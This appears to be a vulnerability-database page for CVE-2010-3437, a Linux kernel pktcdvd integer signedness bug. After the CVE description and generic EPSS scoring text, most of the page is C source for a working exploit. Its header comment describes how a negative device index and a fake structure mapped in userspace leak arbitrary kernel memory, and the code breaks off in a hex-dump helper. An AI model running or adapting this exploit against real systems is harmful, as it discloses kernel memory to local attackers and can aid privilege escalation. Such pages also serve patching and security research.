CVE-2010-3437

CVE Descriptions

Integer signedness error in the pkt_find_dev_from_minor function in drivers/block/pktcdvd.c in the Linux kernel before 2.6.36-rc6 allows local users to obtain sensitive information from kernel memory or cause a denial of service (invalid pointer dereference and system crash) via a crafted index value in a PKT_CTRL_CMD_STATUS ioctl call.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

The index into this * array is provided directly by the user and is a signed integer, so the * comparison to ensure that it falls within the bounds of this array will * fail when provided with a negative index. * * Usage: * * $ gcc cve-2010-3437.c -o cve-2010-3437 * $ ./cve-2010-3437 * usage: ./cve-2010-3437 <address> <length> * $ ./cve-2010-3437 0xc0102290 64 * [+] searching for pkt_devs kernel symbol... * [+] found pkt_devs at 0xc086fcc0 * [+] opening pktcdvd device... * [+] calculated dereference address of 0x790070c0 * [+] mapping page at 0x79007000 for pktcdvd_device dereference... * [+] setting up fake pktcdvd_device structure... * [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls... * [+] dumping kmem to output... * * 55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ... * 55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ... * * Notes: * * Pass the desired kernel memory address and dump length as arguments. * * We can disclose 4 bytes of arbitrary kernel memory per ioctl call by * specifying a large negative device index, causing the kernel to * dereference to our fake pktcdvd_device structure in userspace and copy * data to userspace from an attacker-controlled address. Since only 4 * bytes of kmem are disclosed per ioctl call, large dump sizes may take a * few seconds. * * Tested on Ubuntu Lucid 10.04. 32-bit only for now. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/utsname.h> #include <sys/mman.h> #define DEV_INDEX -300000000 #define PAGE_SIZE 4096 #define PKT_CTRL_CMD_STATUS 2 struct pkt_ctrl_command { uint32_t command; int32_t dev_index; uint32_t dev; uint32_t pkt_dev; uint32_t num_devices; uint32_t padding; }; #define PACKET_IOCTL_MAGIC ('X') #define PACKET_CTRL_CMD _IOWR(PACKET_IOCTL_MAGIC, 1, struct pkt_ctrl_command) struct block_device { uint32_t bd_dev; } bd; struct pktcdvd_device { struct block_device *bdev; } pd; #define MINORBITS 20 #define MKDEV(ma,mi) (((ma) << MINORBITS) | (mi)) uint32_t new_decode_dev(uint32_t dev) { unsigned major = (dev & 0xfff00) >> 8; unsigned minor = (dev & 0xff) | ((dev >> 12) & 0xfff00); return MKDEV(major, minor); } const char hex_asc[] = "0123456789abcdef"; #define hex_asc_lo(x) hex_asc[((x) & 0x0f)] #define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4] void hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, int ascii) { const uint8_t *ptr = buf; uint8_t ch; int j, lx = 0; int ascii_column; if (rowsize != 16 && rowsize != 32) rowsize = 16; if (!len) goto nil; if (len > rowsize) len = rowsize; if ((len % groupsize) != 0) groupsize = 1; switch (groupsize) { case 8: { const uint64_t *ptr8 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%16.16llx ", (unsigned long long)*(ptr8 + j)); ascii_column = 17 * ngroups + 2; break; } case 4: { const uint32_t *ptr4 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%8.8x ", *(ptr4 + j)); ascii_column = 9 * ngroups + 2; break; } case 2: { const uint16_t *ptr2 = buf; int ngroups = len / groupsize; for (j = 0; j < ngroups; j++) lx += snprintf(linebuf + lx, linebuflen - lx, "%4.4x ", *(ptr2 + j)); ascii_column = 5 * ngroups + 2; break; } default: for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen; j++) { ch = ptr[j]; linebuf[lx++] = hex_asc_hi(ch); linebuf[lx++] = hex_asc_lo(ch); linebuf[lx++] = ' '; } ascii_column = 3 * rowsize + 2; break; } if (!ascii) goto nil; while (lx < (linebuflen - 1) && lx < (ascii_column - 1)) linebuf[lx++] = ' '; for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++) linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j] : '.'; nil: linebuf[lx++] = '\0'; } void print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, int ascii) { const uint8_t *ptr = buf; int i, linelen, remaining = len; unsigned char linebuf[200]; if (rowsize != 16 && rowsize != 32) rowsize = 16; for (i = 0; i < len; i += rowsize) { linelen = ((remaining) < (rowsize) ?
